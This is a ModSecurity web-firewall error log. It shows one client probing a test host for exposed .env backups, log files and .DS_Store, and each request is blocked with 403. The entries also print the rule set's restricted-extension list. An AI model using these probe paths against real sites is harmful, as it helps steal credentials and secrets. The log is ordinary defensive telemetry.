[Sun Nov 30 15:25:41.731625 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aSxT5X-YzzK-2pqhifF4HAAAAEU&quot;]
[Sun Nov 30 15:25:41.731851 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aSxT5X-YzzK-2pqhifF4HAAAAEU&quot;]
[Sun Nov 30 15:25:41.732043 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aSxT5X-YzzK-2pqhifF4HAAAAEU&quot;]
[Sun Nov 30 15:25:42.183172 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4HgAAAEU&quot;]
[Sun Nov 30 15:25:42.183411 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4HgAAAEU&quot;]
[Sun Nov 30 15:25:42.183633 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4HgAAAEU&quot;]
[Sun Nov 30 15:25:42.631945 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4IAAAAEU&quot;]
[Sun Nov 30 15:25:42.632313 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4IAAAAEU&quot;]
[Sun Nov 30 15:25:42.632533 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4IAAAAEU&quot;]
[Sun Nov 30 15:25:42.856460 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4IQAAAEU&quot;]
[Sun Nov 30 15:25:42.856831 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4IQAAAEU&quot;]
[Sun Nov 30 15:25:42.857048 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aSxT5n-YzzK-2pqhifF4IQAAAEU&quot;]
[Sun Nov 30 15:25:43.081303 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4IgAAAEU&quot;]
[Sun Nov 30 15:25:43.081474 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4IgAAAEU&quot;]
[Sun Nov 30 15:25:43.081677 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4IgAAAEU&quot;]
[Sun Nov 30 15:25:43.081882 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4IgAAAEU&quot;]
[Sun Nov 30 15:25:43.530703 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JAAAAEU&quot;]
[Sun Nov 30 15:25:43.530927 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JAAAAEU&quot;]
[Sun Nov 30 15:25:43.531142 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JAAAAEU&quot;]
[Sun Nov 30 15:25:43.755511 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JQAAAEU&quot;]
[Sun Nov 30 15:25:43.755751 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JQAAAEU&quot;]
[Sun Nov 30 15:25:43.755985 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JQAAAEU&quot;]
[Sun Nov 30 15:25:43.979711 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JgAAAEU&quot;]
[Sun Nov 30 15:25:43.980070 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JgAAAEU&quot;]
[Sun Nov 30 15:25:43.980284 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aSxT53-YzzK-2pqhifF4JgAAAEU&quot;]
[Sun Nov 30 15:25:44.204014 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4JwAAAEU&quot;]
[Sun Nov 30 15:25:44.204235 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4JwAAAEU&quot;]
[Sun Nov 30 15:25:44.204446 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4JwAAAEU&quot;]
[Sun Nov 30 15:25:44.429398 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4KAAAAEU&quot;]
[Sun Nov 30 15:25:44.429569 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aSxT6H-YzzK-2pqhifF4KAAAAEU&quot;]
